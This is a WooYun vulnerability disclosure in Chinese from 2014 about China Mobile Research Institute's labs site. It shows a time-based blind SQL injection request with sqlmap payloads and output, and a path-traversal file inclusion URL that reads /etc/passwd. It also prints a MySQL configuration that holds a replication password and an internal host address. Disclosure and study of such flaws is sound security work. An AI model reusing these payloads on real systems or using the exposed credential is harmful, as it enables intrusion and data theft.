当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084165

漏洞标题:中国移动研究院SQL盲注+本地文件包含

相关厂商:中国移动

漏洞作者: pandada

提交时间:2014-11-22 09:43

修复时间:2015-01-06 09:44

公开时间:2015-01-06 09:44

漏洞类型:重要敏感信息泄露

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-22: 细节已通知厂商并且等待厂商处理中
2014-11-26: 厂商已经确认,细节仅向厂商公开
2014-12-06: 细节向核心白帽子及相关领域专家公开
2014-12-16: 细节向普通白帽子公开
2014-12-26: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

SQL盲注+本地文件包含。如果可以请给高点分以示鼓励!嘿嘿!

详细说明:

注入点实在是太多,我挑了一处作为演示:星号部分为注入点

GET /events/share/index.php?category=&domain=10313&i=40&order=*&q=share&uid=0 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://labs.chinamobile.com:80/
Cookie: PHPSESSID=a35a48f4736395e3d17d836ef26690bf; errorsNum=1; returnUrl=%2Fgroups%2F10164; hd_sid=ERqHvU; n2rE_2132_saltkey=vKtey6mz; n2rE_2132_sid=rG46KJ
Host: labs.chinamobile.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

漏洞证明:

盲注实在是慢,部分信息如下:

sqlmap identified the following injection points with a total of 1269 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0
current user: '6D6F62696C656875625F736C617665403539312'
current database: 'mobilehu'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
current user: '6D6F62696C656875625F736C617665403539312'
current database: 'mobilehu'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
available databases [3]:
[*] `696E666F726D6174696`
[*] `6`
[*] B


速度不给力,很多内容不完整,见谅。
本地文件包含:
http://labs.chinamobile.com/report/uploaddown.php?path=/../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
mysql:x:27:27::/dev/null:/sbin/nologin
www:x:1000:1000::/dev/null:/sbin/nologin
wdcpu:x:999:999::/www/wdlinux/wdcp:/sbin/nologin


数据库配置文件信息

# mysql conf /etc/my.cnf
# Created by http://www.wdlinux.cn
# Last Updated 2010.06.01
[client]
port = 3306
socket = /tmp/mysql.sock
[mysqld]
slave_skip_errors = 1062
#skip-innodb
port = 3306
socket = /tmp/mysql.sock
skip-external-locking
key_buffer_size = 128M
max_allowed_packet = 512M
table_open_cache = 256
sort_buffer_size = 1M
read_buffer_size = 1M
read_rnd_buffer_size = 2M
myisam_sort_buffer_size = 8M
thread_cache_size = 8
query_cache_size= 16M
thread_concurrency = 8
max_connections = 1000
wait_timeout = 30
interactive_timeout = 300
max_connect_errors = 9
long_query_time = 1
tmp_table_size = 16M
#log-bin=mysql-bin
#binlog_format=mixed
server-id = 233
master-host=192.168.0.231
master-user=rep
master-password=etentec@etentec
master-port=3306
replicate-ignore-db=wdcpdb
replicate-ignore-db=test
replicate-ignore-db=mysql
[mysqldump]
quick
max_allowed_packet = 128M
[mysql]
no-auto-rehash
[myisamchk]
key_buffer_size = 12M
sort_buffer_size = 1M
read_buffer = 1M
write_buffer = 1M
[mysqlhotcopy]
interactive-timeout

修复方案:

赶紧全面排查,问题还是很多的

版权声明:转载请注明来源 pandada@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-11-26 15:47

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-22 10:48 | loli 认证白帽子 ( 普通白帽子 | Rank:550 漏洞数:52 )

    no shell no rank

  2. 2014-11-22 11:30 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)
  3. 2014-11-22 11:35 | pandada ( 实习白帽子 | Rank:91 漏洞数:20 | To be a warrior is not a simple matter o...)

    @menmen519 不是同一个地方,我看了所有提交的关于移动研究院的漏洞,没有重复

  4. 2014-11-22 11:36 | pandada ( 实习白帽子 | Rank:91 漏洞数:20 | To be a warrior is not a simple matter o...)

    @loli 求带